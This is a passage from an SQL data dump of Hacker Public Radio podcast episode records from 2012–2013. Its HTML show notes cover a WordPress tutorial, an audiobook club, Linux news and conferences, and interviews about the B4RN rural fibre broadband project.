as we record this, so we hope to hear back from David this month.<br />\r\n<img src=\"https://lh3.googleusercontent.com/-cbDgTn51drk/T56z0Vd9BcI/AAAAAAAAA2Y/turE3-k31m0/s688/David_Whitman_LFNW_display.jpg\" alt=\"HPR Conference Kit\" />\r\n</p>\r\n<h2>Episode 1000 and 1024</h2>\r\n<p>\r\nWe\'re a little desperate for show 1000 submissions. Please send in yours, and ask your favorite shows to play our ep1k promo. Tweet it, dent it, blog it, G+ it, facebook it... whatever you have, please help us get the word out that we need these QUICKLY.<br />\r\n</p>\r\n<p>\r\nWe are asking listners, hosts and fellow podcasters to send in a short greeting and email it to <a href=\"mailto:ep1k@hackerpublicradio.org\">ep1k@hackerpublicradio.org</a><br/>\r\nIf you have a podcast yourself we would appreciate it if you could play one of the following promos on your show:<br/>\r\n<a href=\"https://hackerpublicradio.org/media/5150_pokey_ep1k_promo.wav\">5150_pokey_ep1k_promo.wav</a> 01:32<br/>\r\n<a href=\"https://hackerpublicradio.org/media/pokey_NZfangirl_ep1k_promo.wav\">pokey_NZfangirl_ep1k_promo.wav</a> 01:37<br/>\r\n<a href=\"https://hackerpublicradio.org/media/hpr-ken_fallon-episode1000.wav\">hpr-ken_fallon-episode1000.wav</a> 00:34\r\n</p>\r\n',159,47,1,'CC-BY-SA','Community News',0,1934,1),
(977,'2012-04-30','Setting Up a WordPress Blog: part 2',1795,'Episode 2 of the series <em>Setting up a Wordpress blog</em>','This is the second Frank\'s series on setting up a WordPress blog, now projected to be four episodes.  <br />\r\n\r\nThis episode discusses navigating the WordPress administrative interface and discusses important concepts, such as Posts and Post Categories, Pages, Links and Link Categories, and preventing comment spam.<br />\r\n\r\nThe next episode will be about tweaking appearance.<br />\r\n\r\nLinks from the show:<br />\r\n\r\n<a href=\"https://wordpress.org/news/\">Wordpress Development blog</a>:  https://wordpress.org/news/<br />\r\n\r\n<a href=\"https://wordpress.tv/\">Wordpress News blog</a>:  https://wordpress.tv/<br />\r\n\r\n<a href=\"https://codex.wordpress.org/Main_Page\">WordPress Codex (documentation site)</a>:  https://codex.wordpress.org/Main_Page <br />\r\n\r\n<a href=\"https://wordpress.org/extend/\">Wordpress \"Extend\" site (plugins and themes)</a>:  https://wordpress.org/extend/<br />\r\n\r\n<a href=\"https://akismet.com/wordpress/\">Akismet comment spam plugin</a>:  https://akismet.com/wordpress/ <br />\r\n\r\n<a href=\"https://wordpress.org/extend/plugins/my-local-weather/\">My Local Weather</a> plugin:  https://wordpress.org/extend/plugins/my-local-weather/ <br />\r\n\r\n<a href=\"https://wordpress.org/extend/plugins/statpress/\">Statpress</a> plugin: <br />\r\nhttps://wordpress.org/extend/plugins/statpress/<br />\r\n\r\n<a href=\"https://www.pineviewfarm.net/misc/WP-screens.zip\">Download some screenshots (JPG) of WP administrative pages</a>:  https://www.pineviewfarm.net/misc/WP-screens.zip <br />\r\n\r\nContact Frank:  frank at pineviewfarm dot net.\r\n',195,0,1,'CC-BY-SA','WordPress,blog,administration,plugins',0,2116,1),
(978,'2012-05-01','Dead_Hunt',4301,'A discussion of the book \"Dead Hunt\" written by Kenn Crawford','<p>\r\nIn this episode of the HPR audio book club resno, Klaatu, and pokey discuss the podiobooks.com presentation of Dead Hunt written and produced by Kenn Crawford. This episode contains spoilers, in the second half, so please listen to the audiobook for yourself before listening to the podcast all the way through. This audiobook was loved by two of the panelists, and liked by the third.\r\n</p>\r\n<p>\r\nYou can download this audiobook for free (or voluntary donation) from <a href=\"https://www.podiobooks.com/title/dead-hunt\">https://www.podiobooks.com/title/dead-hunt</a> \r\n</p>\r\n<p>\r\nDuring this show the hosts also discuss beverages, and we suspect that one of them may not have contained ANY alcohol!!! <br />\r\nKlaatu was drinking (surprise!) coffee; a brew called Winter Blend which is seasonally available from Trader Joe\'s. <br />\r\n<a href=\"https://www.traderjoes.com/\">https://www.traderjoes.com/</a><br />\r\nresno was drinking Snow Day Winter Ale from New Belgium Brewery<br />\r\n<a href=\"https://www.newbelgium.com/home.aspx\">https://www.newbelgium.com/home.aspx</a><br />\r\npokey was drinking Yellow Tail Chardonnay<br />\r\n<a href=\"https://www.yellowtailwine.com/chardonnay\">https://www.yellowtailwine.com/chardonnay</a>\r\n</p>\r\n<p>\r\nOur next audiobook will be Space Casey by Christiana Ellis. It is available at podiobooks.com The direct link is:<br />\r\n<a href=\"https://www.podiobooks.com/title/space-casey\">https://www.podiobooks.com/title/space-casey</a><br />\r\nThis audiobook comes with a thumbs way up rating from pokey (as he\'s heard it already). So if you agree with his other picks then don\'t miss this one.\r\n</p>\r\n<p>\r\nIf you enjoy this episode of HPR, you can find more podcasts by our hosts at:<br />\r\n<a href=\"https://techmisfits.com/\">https://techmisfits.com/</a><br />\r\n<a href=\"https://gnuworldorder.info/\">https://gnuworldorder.info/</a>\r\n</p>\r\n<p>\r\nWe all had a great time recording this show, and we hope you enjoyed it as well. Thank you very much for listening.\r\n</p>\r\n<p>\r\nSincerely,<br />\r\nThe HPR_AudioBookClub<br />\r\n</p>\r\n<p>\r\nP.S. Some people enjoy finding mistakes. For their enjoyment, we have included a few.\r\n</p>',109,53,1,'CC-BY-SA','audiobook,HPR AudioBookClub',0,2477,1),
(979,'2012-05-02','Sunday Morning Linux Review Episode 029',3366,'SMLR episode 29','<p><a title=\"SMLR.US\" href=\"https://smlr.us\">https://smlr.us</a><br/>\r\nTotal Running Time: 54:30</p>\r\n<h3>Intro:</h3>\r\n<p>Mat Enders, Tony Bemus, and Mary Tomich<br />\r\nIntro Sound bite by <a title=\"https://voice123.com/miketanner\" href=\"https://voice123.com/miketanner\" target=\"_blank\">Mike Tanner</a></p>\r\n<h3>Kernel News: Mat</h3>\r\n<p>Time: 4:56<br />\r\nRelease Candidate:<br />\r\nNo Release Candidate This Week</p>\r\n<p>Mainline:<br />\r\n3.4-rc4</p>\r\n<p>Stable Updates:<br />\r\nOn Sun, 22 Apr 2012 16:47:47 PDT Greg Kroah-Hartman released kernel 3.0.29<br />\r\nThere were 55 files changed, 500 inserted, 207 deleted</p>\r\n<p>On Sun, 22 Apr 2012 16:49:38 PDT Greg Kroah-Hartman released kernel 3.2.16<br />\r\nThere were 69 files changed, 488 inserted, 247 deleted</p>\r\n<p>On Sun, 22 Apr 2012 16:50:18 PDT Greg Kroah-Hartman released kernel 3.3.3<br />\r\nThere were 78 files changed, 538 inserted, 319 deleted</p>\r\n<p>On Fri, 27 Apr 2012 10:14:55 PDT Greg Kroah-Hartman released kernel 3.0.30<br />\r\nThere were 66 files changed, 314 inserted, 266 deleted</p>\r\n<p>On Fri, 27 Apr 2012 10:46:54 PDT Greg Kroah-Hartman released kernel 3.3.4<br />\r\nThere were 96 files changed, 544 inserted, 382 deleted</p>\r\n<h3>Distro Talk: Tony</h3>\r\n<p>Time: 7:13</p>\r\n<p><a title=\"https://distrowatch.com\" href=\"https://distrowatch.com\" target=\"_blank\">Distrowatch.com </a></p>\r\n<ul>\r\n<li>4-24 &#8211; <a href=\"https://distrowatch.com/7229\" target=\"_blank\">Tails 0.11</a> &#8211; Debian-based live DVD designed for anonymous Internet surfing</li>\r\n<li>4-24 &#8211; <a href=\"https://distrowatch.com/7211\" target=\"_blank\">Scientific Linux 5.8 </a> &#8211; distribution rebuilt from source packages for Red Hat Enterprise Linux 5.8 and enhanced with extra software and tools useful in academic environments</li>\r\n<li>4-24 &#8211; <a href=\"https://distrowatch.com/7212\" target=\"_blank\">Linux Mint 201204 &#8220;Debian&#8221;</a> &#8211; Linux Mint 201204 &#8220;Debian&#8221; edition</li>\r\n<li>4-24 &#8211; <a href=\"https://distrowatch.com/7111\" target=\"_blank\"> Untangle Gateway </a> &#8211; Debian-based distribution designed for firewalls and gateways</li>\r\n<li>4-25 &#8211; <a href=\"https://distrowatch.com/7214\" target=\"_blank\">Tiny Core Linux 4.5</a> &#8211; ast and minimalist Linux distribution for desktop use</li>\r\n<li>4-25 &#8211; <a href=\"https://distrowatch.com/7215\" target=\"_blank\">Dragora GNU/Linux 2.2</a> &#8211; &#8220;libre&#8221; distribution built from scratch and featuring Xfce as the default desktop</li>\r\n<li>4-25 &#8211; <a href=\"https://distrowatch.com/7216\" target=\"_blank\">ClearOS 6.2 &#8220;Community&#8221;</a> &#8211; based on Red Hat Enterprise Linux 6.2 and designed for small business servers and gateways</li>\r\n<li>4-25 &#8211; <a href=\"https://distrowatch.com/7217\" target=\"_blank\">Swift Linux 0.2.0</a> &#8211; lightweight desktop distribution with IceWM &#8211; now based on Linux Mint&#8217;s &#8220;Debian&#8221; edition</li>\r\n<li>4-26 &#8211; <a href=\"https://distrowatch.com/7218\" target=\"_blank\">BackBox Linux 2.05</a> &#8211; Ubuntu-based distribution designed to perform penetration tests and security assessments</li>\r\n<li>4-26 &#8211; <a href=\"https://distrowatch.com/7219\" target=\"_blank\">* Ubuntu 12.04</a> &#8211; Canonical&#8217;s flagship operating system featuring the Unity user interface and Head-Up Display menu system</li>\r\n<li>4-27 &#8211; <a href=\"https://distrowatch.com/7227\" target=\"_blank\">Proxmox 2.1 &#8220;Virtual Environment&#8221;</a> &#8211; an open-source virtualization platform for running virtual appliances and virtual machines, based on Debian GNU/Linux</li>\r\n<li>4-28 &#8211; <a href=\"https://distrowatch.com/7228\" target=\"_blank\">ROSA 2012 RC</a> &#8211; Mandriva Linux and enhanced with a variety of innovative desktop utilities and applications</li>\r\n</ul>\r\n<p>ROSA Icons – Making KDE look even better</p>\r\n<p>h<a href=\"https://www.linuxbsdos.com/2012/04/21/replace-oxygen-with-rosa-theme-on-any-kde-powered-distribution/\" target=\"_blank\">ttp://www.linuxbsdos.com/2012/04/21/replace-oxygen-with-rosa-theme-on-any-kde-powered-distribution/</a></p>\r\n<p>Creepy – A python program that aggregates twitter and flickr geolocation information.</p>\r\n<p><a href=\"https://diveintoinfosec.wordpress.com/\" target=\"_blank\">https://diveintoinfosec.wordpress.com/</a></p>\r\n<h3>Distro of the Week: Tony</h3>\r\n<ol>\r\n<li value=\"5\">Magia &#8211; 1453</li>\r\n<li value=\"4\">Swift &#8211; 1457</li>\r\n<li value=\"3\">Fedora &#8211; 1727</li>\r\n<li value=\"2\">Ubuntu &#8211; 4732</li>\r\n<li value=\"1\">Mint &#8211; 5153</li>\r\n</ol>\r\n<h3>Tech News:</h3>\r\n<p>Time: 21:09<br />\r\nGoogle Drive Released, Not So Much For Linux</p>\r\n<p>The long rumored on line storage from Google has been announced as a reality. Unless of course you are running a Linux desktop. I don&#8217;t know but if it where me and my entire business was built on top of Linux that it might be the first client I produced. They have an Android client how difficult can it be.</p>\r\n<p>Every subscriber will get 5GB for free with the opportunity to upgrade to any of the following plans.</p>\r\n<p>Storage &nbsp;&nbsp; &nbsp;&nbsp; Monthly Rate<br />\r\n25 GB &nbsp;&nbsp; &nbsp; &nbsp;&nbsp; &nbsp; $2.49<br />\r\n100 GB &nbsp;&nbsp; &nbsp; &nbsp;&nbsp; $4.99<br />\r\n200 GB &nbsp;&nbsp; &nbsp; &nbsp;&nbsp; $9.99<br />\r\n400 GB &nbsp;&nbsp; &nbsp; &nbsp;&nbsp; $19.99<br />\r\n1 TB &nbsp;&nbsp; &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; $49.99<br />\r\n2 TB &nbsp;&nbsp; &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; $99.99<br />\r\n4 TB &nbsp;&nbsp; &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; $199.99<br />\r\n8 TB &nbsp;&nbsp; &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; $399.99<br />\r\n16 TB &nbsp;&nbsp; &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; $799.99</p>\r\n<p>You can access the service at dirve.google.com. Although it is currently not ready for me (insert picture). It will support over 30 file types that you will be able to open right in your browser. It will integrate with Google+, Gmail, and Google Docs. You can share files or folders with anyone, and control whether they will be able to view, edit or comment on your stuff. Extensive search capabilities including OCR for pictures and scanned documents. And my favorite feature document rollback for up to thirty days. Google Drive tracks all changes so that when you save a document, a new revision is saved. You can look back as far as 30 days.</p>\r\n<hr width=\"300\" />\r\n<p>Slackware Alive And Well Despite Rumors</p>\r\n<p>When the main website for Slackware went down the rumor mill went into hyper-drive. These Discussions where hot and heavy on LinuxQuestions.org and DistroWatch. The discussions very quickly shifted from website problems to the long term viability of Slackware. This was compounded by Eric Hameleers, a top Slackware contributor, when he posted this early in the LinuxQuestions discussion &#8220;Old hardware, lack of funds…&#8221;. I am sure that it was not his intended effect but this was like throwing gasoline onto an already raging fire. The conversation quickly veered into the what can be done to save Slackware land.</p>\r\n<p>The fires where then fanned even higher when Caitlyn Martin, developer of Yarok Linux, made this statement on Distrowatch disparaging the long term viability of Slackware:</p>\r\n<blockquote><p>&#8220;You remember that comment about my involvement in the development of a Slackware derivative? Forget it. We&#8217;re already discussing about delaying the release and rebasing off of something with a more secure future,&#8221;</p></blockquote>\r\n<p>This successfully torqued off a large number of people in the discussions on both websites. She responded to these comments by maintaining her stance that she was only concerned about upstream stability. The positive to come out of Martin&#8217;s comments was that it prodded Hameleers into clarifying his comments:</p>\r\n<blockquote><p>&#8220;The slackware.com server is down. This is a technical malfunction. It costs money to do something about that. Something will be done about that server, but if it takes a while, it is most likely caused by prioritizing and finances. Slackware was without its own web server for a long time in the past. And still active are ftp.slackware.com and connie.slackware.com, so what&#8217;s the big deal?</p>\r\n<p>This turning of the rumour mill is pretty much unfounded, and I see some of the same old people pouring oil on the fire as usual.</p>\r\n<p>There is no reason to doubt the availability, stability and long term viability of Slackware, the distribution. It has not been a one-man show for some time, the development effort is substantial and plainly visible in the ChangeLog, and there are no plans to switch to another development model or even ditch the distribution.&#8221;</p></blockquote>\r\n<p>Hameleers went into greater detail about Slackwares finacial situation on LinuxQuestions:</p>\r\n<blockquote><p>&#8220;It&#8217;s not that difficult: if everybody suddenly stops buying stuff from the Slackware store, then Slackware will not last another year in its present form&#8211;the Store sales are Pat&#8217;s income (and it feeds several other people too), but remember, the core team surrounding Pat do not get a penny of these revenues at all. Therefore, the rest of the team is not impacted in any way by Slackware sales figures and we will keep working with Pat on the distribution just like we have been doing for the past years. Look at the ChangeLog&#8211;sometimes there is a period of relative silence but that does not mean that no work is being done. Like last week, the updates can come in big gulps. Slackware will not die, its philosophy will not change, the team is dedicated and full of ideas.</p>\r\n<p>&#8220;If people start chickening out and cancel their subscriptions, then that is a pity. Thankfully, I see lots of other Slackware users who decided that this is a good point to make a donation or buy something at the Store (if their financial situation allows it). Thanks to all of you for &#8216;supporting the cause.&#8217; And remember&#8211;if you can not financially support Slackware, then helping your fellow Slackware users in forums like this one is an invaluable form of support as well! Slackware will not die because of financial issues, it will die if all of its users leave.&#8221;</p></blockquote>\r\n<p>As Hameleers points out a project like Slackware can never really go away as long as there is a strong community around it. Even if the project folds financially and Patrick did not transfer the copyrights on Slackware to the community it would continue under a different name. However for now there is absolutely no indication that any of that is either in the near or distant future.</p>\r\n<hr width=\"300\" />\r\n<p>Hungarian Government Solidifies Commitment To ODF</p>\r\n<p>Last year the Hungarian government announced that from April 2012 forward all government documents needed to be produced in an internationally recognized open document standard. To further this commitment they are going to invest 370 million HUF (Hungarian Forint) which is approximately 1.7 million USD in applications that utilize the open document format (ODF). The two main beneficiaries of this investment will be the Department of Software Engineering at the University of Szeged and Multiráció, an open source development company.</p>\r\n<p>Multiráció developed an open office suite, originally based on OpenOffice.org, called EuroOffice. they are now going to produce a version for tablets and improve the collaborative functions within EuroOffice. Kázmér Koleszár, a developer at Multiráció, said that the development responsibilities would break out like this:</p>\r\n<blockquote><p>&#8220;The University of Szeged will do the quality assurance and usability related research and tool development. Multiráció will develop the office application and work on several extensions.&#8221;</p></blockquote>\r\n<p>All I have to say is good on you Hungary I wish that countries like mine would do more to push open formats. I have even considered suing entities like may state government for their continued use of proprietary formats on their websites.</p>\r\n<hr width=\"300\" />\r\n<p><a href=\"https://www.h-online.com/open/news/item/Microsoft-Office-15-to-support-ODF-1-2-1560464.html\" target=\"_blank\">Microsoft Office 15 to support ODF 1.2</a><br />\r\nMicrosoft has told attendees at the ODF Plugfest in Brussels that the next versions of Microsoft&#8217;s Office products, Office 15 and Office 365, will support Open Document Format (ODF) 1.2.<br />\r\n<a href=\"https://www.h-online.com/open/news/item/Microsoft-Office-15-to-support-ODF-1-2-1560464.html\" target=\"_blank\">https://www.h-online.com/open/news/item/Microsoft-Office-15-to-support-ODF-1-2-1560464.html</a></p>\r\n<hr width=\"300\" />\r\n<p>Less Than 25% Of OSS Used In Corporations Managed Correctly</p>\r\n<p>Sonatype released the results of a recent survey showing that 500 out of 2500 respondents said they were locked down to only use corporate approved components. Only 49% said that their companies had a policy in place. Then 63% indicated that their corporate standards where not enforced or that they did not have a policy.</p>\r\n<p>Sonatype also noted that the use of open source components is on the rise. Almost 80% of respondents said they used open source tools regularly. Around 50% have migrated to an open source development stack. Also over 65% claimed to contribute to open source projects.</p>\r\n<p>In their press release Sonatype said this about the use of open source:</p>\r\n<blockquote><p>“Key to modern development practices is the use of open source components to build mission critical applications,”</p></blockquote>\r\n<hr width=\"300\" />\r\n<p>Red Hat, SUSE, And IBM Form Partnership While Canonical Stays On The Sidelines</p>\r\n<p>IBM&#8217;s new POWER server line will be available with either Red Hat or SUSE Linux but not Ubuntu. After more than a year in development IBM rolled out their new POWER server systems and solutions. These machines are Linux specific utilizing the POWER7 processor-based hardware. These machines are targeted at midrange to large range enterprises. they are designed for big data analisis and delivering open source infrastructure services. Canonical chose not not to offer their server product on these units. Coould that be due to a fear of having to actually support an enterprise class customer.</p>\r\n<p>This is how IBM envisions the use of this new server line:</p>\r\n<blockquote><p>“The new PowerLinux Solutions and supporting systems are designed to provide customers with lower deployment time and costs, and greater performance, dependability and workload density than competitive x86 platforms at similar price points.”</p></blockquote>\r\n<p>So where was Canonical in all of this? they had been working with IBM to deliver Ubuntu on IBM&#8217;s System p mini computer. That partnership however floundered into nothing.</p>\r\n<p>Here is how Mark Shuttleworth, Canonical’s founder, spun the announcement:</p>\r\n<blockquote><p>“We don’t support POWER because, by mutual agreement with IBM, there’s little to no overlap between the POWER user base and Ubuntu. People are choosing Ubuntu for farms of commodity servers, and POWER has been adopted for highly-specialized mission-critical roles. If IBM ever wanted to reach either the cloud or bulk computing market with POWER, then I expect the stats above would be relevant for their choice of OS, because they reflect the real choices of those markets.”</p></blockquote>\r\n<p>Hunh? I had a hard time following that statment but what I think it boils down to is this. IBM and Ubuntu agree that Ubuntu would be hard pressed to actually support a large enterprise customer. IBM, Red Hat, and SUSE still believe that their is a market out there for the big machine built on quality hardware. As opposed to large farms of x86 systems trying to do the job of a bigger machine.</p>\r\n<h3>Convention Scene</h3>\r\n<p>Time: 36:17</p>\r\n<p>AnDevCon III<br />\r\nAndroid Developers conference<br />\r\nMay 14 &#8211; 17<br />\r\nAnDevCon III is the technical conference for software developers building Android apps.<br />\r\n<a href=\"https://www.andevcon.com/AndevCon_III/index.html\" target=\"_blank\">https://www.andevcon.com/AndevCon_III/index.html</a></p>\r\n<p>Libre Graphics Meeting 2012<br />\r\nMay 2 &#8211; 5 2012<br />\r\nThe 7th Libre Graphics Meeting will take place in Vienna at the UAS Technikum.</p>\r\n<p>The conference is the number one event for users and developers of free software for graphic design, photography, 3D modeling and animation.<br />\r\n<a href=\"https://libregraphicsworld.org/\" target=\"_blank\">https://libregraphicsworld.org/</a></p>\r\n<p>Flossie 2012<br />\r\nMay 25 &#8211; May 26, 2012 , London<br />\r\nFlossie 2012 is a free, two-day event for women who work with or are otherwise interested in Free and Open Source Software (FLOSS) and in Open Data, Knowledge and Education.<br />\r\n<a href=\"https://www.flossie.org/?tribe_events=flossie-unconference-for-spring\" target=\"_blank\">https://www.flossie.org/?tribe_events=flossie-unconference-for-spring</a></p>\r\n<p>Linaro Connection<br />\r\nMay 28/ through 6/1<br />\r\nGold Coast Hotel Hong Kong.</p>\r\n<p>Convention to discuss and develop features, infrastructure and optimizations for the Linux kernel, Android, Ubuntu and beyond on ARM.<br />\r\n<a href=\"https://www.linaro.org/\" target=\"_blank\">https://www.linaro.org/</a></p>\r\n<p>LinuxTag<br />\r\nMay 23 – 26, 2012<br />\r\nLinux Tag the most important place for Linux and open source software in Europe. The 18th LinuxTag will take place o at the Berlin Fairgrounds.<br />\r\n<a href=\"https://www.linuxtag.org/2012/\" target=\"_blank\">https://www.linuxtag.org/2012/</a><br />\r\nFOSSCOMM<br />\r\nMay 12 &#8211; 13 2012<br />\r\nFOSSCOMM (Free and Open Source Software Communities) is a Greek conference aiming at Open Source enthusiasts, developers, and communities. The fifth FOSSCOMM will take place at the Technological Educational Institute of Serres, Greece.<br />\r\n<a href=\"https://serres.fosscomm.gr/\" target=\"_blank\">https://serres.fosscomm.gr/</a><br />\r\nOpen Source Business Conference (OSBC) 2012<br />\r\nMay 21-22 2012<br />\r\nSan Francisco, CA, USA – Hyatt Regency San Francisco<br />\r\nOpen sources influence on cCloud, data, mobile software<br />\r\n<a href=\"https://www.eiseverywhere.com/ehome/31601/50188/?&amp;\" target=\"_blank\">https://www.eiseverywhere.com/ehome/31601/50188/?&amp;</a></p>\r\n<p>The Samba eXPerience 2012<br />\r\nin Göttingen, Germany is the 11th international Samba conference for users and developers. Meet the Samba Team and discuss requirements, new features and get an update on current developments! The conference is organized by SerNet.<br />\r\nMay 8th &#8211; 11th, 2012 &#8211; Hotel Freizeit In Göttingen &#8211; Germany</p>\r\n<p>The Utah Open Source Foundation<br />\r\nUtah Open Source Conference<br />\r\n“Storming the cloud 5/3-5<br />\r\nThis year’s conference will be graciously hosted by Utah Valley University in their Computer Science and Engineering Building,</p>\r\n<p>Mil-OSS<br />\r\nMilitary Open Source Software<br />\r\nThe Rise of Open Source in a Declining Budget</p>\r\n<p>Charleston, SC 5/22-24</p>\r\n<h3>Penguicon</h3>\r\n<p>Time: 39:36<br />\r\nMat &#8211; grsecurity, sound redirection (ls -la &gt; /dev/dsp)<br />\r\nMary &#8211; HP Lovecraft<br />\r\nTony &#8211; BYOBU</p>\r\n<p>Chrome Remote Desktop – Provide remote connection between two computers. Chrome Remote Desktop is available in the Chrome Web Store</p>\r\n<h3>Listner Feedback</h3>\r\n<p>Time: 46:19<br />\r\nJ. Mathis &#8211; Trisquel Gnu/Linux</p>\r\n<h3>Outtro Music</h3>\r\n<p>Time: 48:32</p>\r\n<p><a href=\"https://www.jamendo.com/en/track/175332/can-t-stop-it\" target=\"_blank\">Can&#8217;t stop it</a> by <a href=\"https://www.jamendo.com/en/artist/2485/shearer\" target=\"_blank\">Shearer</a></p>\r\n',158,54,1,'CC-BY-SA','SMLR,Sunday Morning Linux Review',0,2218,1),
(980,'2012-05-03','Broadband for Rural North',3948,'The story of a Lancashire community and their high-speed network','<p>\n<strong>#da12bb #HPR</strong><br />\nIn todays show Ken talks to Chris Conder of the <strong>Broadband for Rural North</strong> (<a href=\"https://b4rn.org.uk/\">https://b4rn.org.uk/</a>).<br />\n<a href=\"https://b4rn.org.uk/wp-content/uploads/2012/04/thediggingline.png\"><img src=\"https://b4rn.org.uk/wp-content/uploads/2012/04/thediggingline.png\" width=\"600\" alt=\"A big line of people with spades\" /></a>\n</p>\n<p>\nLocated in the very pretty but the rural Forest of Bowland in Lancashire in the UK, and tired of putting up with slow \'broadband\' they decided to put together their own network. They tried shared wifi, 3 and 4G mobile networks, MMDS and Satellite yet all proved to be unreliable.\n</p>\n<p>So over tea and cake they came up with a plan.</p>\n<ul>\n<li>A <strong>240 Kilometer</strong> (150 mile) plan.</li>\n<li>A <strong>1 gigabit</strong> (1000mb/sec) fiber optic connection plan.</li>\n<li>A let\'s give a connection to <strong>every</strong> one of the <strong>1700 </strong>homes, farms, schools, churches and businesses, in the area plan</li>\n</ul>\n<p>And while they were at it they designed it to be: </p>\n<ul>\n<li>redundant with a dual homed backbone direct to the UK\'s Internet exchange</li>\n<li>upgradeable with ducts large enough to take multiple fibers</li>\n<li>laid through some of the most rugged, mountainous area of Lancashire to get to the people that need it most. <em>(And let\'s be clear here, nothing to do with the fact that they will need to use <strong>dynamite</strong> to blast their way through the rocks.)</em></li>\n</ul>\n<p>\nChris herself has lived in the Lune Valley for many years and is married to a farmer in Wray. She has been involved with the community in many roles over the years; for instance school governor and chair of Wray Endowed school during the eighties and early nineties and more recently supporter of a number of rural broadband projects. In 2002 she began campaigning for rural broadband and over the next few years helped establish a wireless network around Wray and a satellite network for rural farms. A founder member of Wray Com Com in 2003 (<a href=\"https://www.wraycomcom.org.uk/\">https://www.wraycomcom.org.uk/</a>) and Wennet CIC in 2005 (<a href=\"https://www.wennetcic.co.uk\">https://www.wennetcic.co.uk</a>). She is a pioneer of self installation fibre and a regular speaker at broadband events on the topic of rural broadband and DIY fibre build. <br />\nShe is also a \'online animator\' for high speed broadband for Europe. She posts on the blog (<a href=\"https://daa.ec.europa.eu/group/2/content\">https://daa.ec.europa.eu/group/2/content\"</a>) and your feedback would be MORE than welcome. Europe assures her that they are listening. You can contact her at <a href=\"mailto:c.conder@b4rn.org.uk\">c.conder@b4rn.org.uk</a> and be sure to tweet the hash tag <strong>#da12bb</strong>\n</p>\n<h2>The Photos</h2>\n<p>\n<object width=\'500\' height=\'500\'><param name=\'movie\' value=\'https://www.slideflickr.com/slide/0gd63eCE\'></param><param name=\'wmode\' value=\'transparent\'></param><embed src=\'https://www.slideflickr.com/slide/0gd63eCE\' type=\'application/x-shockwave-flash\' wmode=\'transparent\' width=\'500\' height=\'500\'></embed></object>\n</p>\n<h2>The Map</h2>\n<p>\n<iframe width=\"425\" height=\"350\" frameborder=\"0\" scrolling=\"no\" marginheight=\"0\" marginwidth=\"0\" src=\"https://maps.google.com/maps/ms?msa=0&msid=210262917414358485472.0004bc4cfb11837b9922e&ie=UTF8&t=p&ll=54.067448,-2.697144&spn=0.282062,0.583649&z=10&output=embed\"></iframe><br /><small>View <a href=\"https://maps.google.com/maps/ms?msa=0&msid=210262917414358485472.0004bc4cfb11837b9922e&ie=UTF8&t=p&ll=54.067448,-2.697144&spn=0.282062,0.583649&z=10&source=embed\" style=\"color:#0000FF;text-align:left\">B4RN core route phase 1</a> in a larger map</small>\n</p>\n<h2>The Movie</h2>\n<p>\n<object style=\"height: 390px; width: 640px\"><param name=\"movie\" value=\"https://www.youtube.com/v/GkyaurkN4lU?version=3&feature=player_detailpage\"><param name=\"allowFullScreen\" value=\"true\"><param name=\"allowScriptAccess\" value=\"always\"><embed src=\"https://www.youtube.com/v/GkyaurkN4lU?version=3&feature=player_detailpage\" type=\"application/x-shockwave-flash\" allowfullscreen=\"true\" allowScriptAccess=\"always\" width=\"640\" height=\"360\"></embed></object>\n</p>\n<h2>The Links</h2>\n<ul>\n<li><a href=\"https://www.h-online.com/open/features/Building-a-GSM-network-with-open-source-1476745.html\">https://www.h-online.com/open/features/Building-a-GSM-network-with-open-source-1476745.html</a></li>\n<li><a href=\"https://b4rn.org.uk/\">https://b4rn.org.uk/</a></li>\n<li><a href=\"https://www.flickr.com/photos/b4ruralnorth/\">https://www.flickr.com/photos/b4ruralnorth/</a></li>\n<li><a href=\"https://www.facebook.com/pages/B4RN-rural-broadband/105319176241916\">https://www.facebook.com/pages/B4RN-rural-broadband/105319176241916</a></li>\n<li><a href=\"https://plus.google.com/u/0/107690974539762837235/posts\">https://plus.google.com/u/0/107690974539762837235/posts</a></li>\n<li><a href=\"https://twitter.com/#!/dig2agig\">https://twitter.com/#!/dig2agig</a></li>\n<li><a href=\"https://www.wraycomcom.org.uk/\">https://www.wraycomcom.org.uk/</a></li>\n<li><a href=\"https://www.wennetcic.co.uk\">https://www.wennetcic.co.uk</a></li>\n<li><a href=\"https://daa.ec.europa.eu/group/2/content\">https://daa.ec.europa.eu/group/2/content</a></li>\n</ul>\n',30,0,1,'CC-BY-SA','broadband,fibre optic,fiber optic,B4RN',0,2533,1),
(1193,'2013-02-27','Chris Conder Catchup on Broadband for Rural North',3122,'Broadband for the Rural North (B4RN) revisited','<p>\r\n<strong>#da12bb #HPR</strong><br />\r\nIn todays show Ken catches up with Chris Conder of the <strong>Broadband for Rural North</strong> (<a href=\"https://b4rn.org.uk/\">https://b4rn.org.uk/</a>). We interviewed her back in episode 980 (<a href=\"https://hackerpublicradio.org/eps.php?id=0980\">https://hackerpublicradio.org/eps.php?id=0980</a>)<br />\r\n<a href=\"https://b4rn.org.uk/wp-content/uploads/2012/04/thediggingline.png\"><img src=\"https://b4rn.org.uk/wp-content/uploads/2012/04/thediggingline.png\" width=\"600\" alt=\"A big line of people with spades\" /></a>\r\n</p>\r\n<p>\r\nLocated in the very pretty but the rural Forest of Bowland in Lancashire in the UK, and tired of putting up with slow \"broadband\" they decided to put together their own network. They tried shared wifi, 3 and 4G mobile networks, MMDS and Satellite yet all proved to be unreliable.\r\n</p>\r\n<p>\r\nSo over tea and cake they came up with a plan.</p>\r\n<ul>\r\n<li>A <strong>240 Kilometer</strong> (150 mile) plan.</li>\r\n<li>A <strong>1 gigabit</strong> (1000mb/sec) fiber optic connection plan.</li>\r\n<li>A let\'s give a connection to <strong>every</strong> one of the <strong>1700 </strong>homes, farms, schools, churches and businesses, in the area plan</li>\r\n</ul>\r\n<p>And while they were at it they designed it to be:</p>\r\n<ul>\r\n<li>redundant with a dual homed backbone direct to the UK\'s Internet exchange</li>\r\n<li>upgradeable with ducts large enough to take multiple fibers</li>\r\n<li>laid through some of the most rugged, mountainous area of Lancashire to get to the people that need it most. <em>(And let\'s be clear here, nothing to do with the fact that they will need to use <strong>dynamite</strong> to blast their way through the rocks.)</em></li>\r\n</ul>\r\n<p>\r\nHave a look at the recent videos here <a 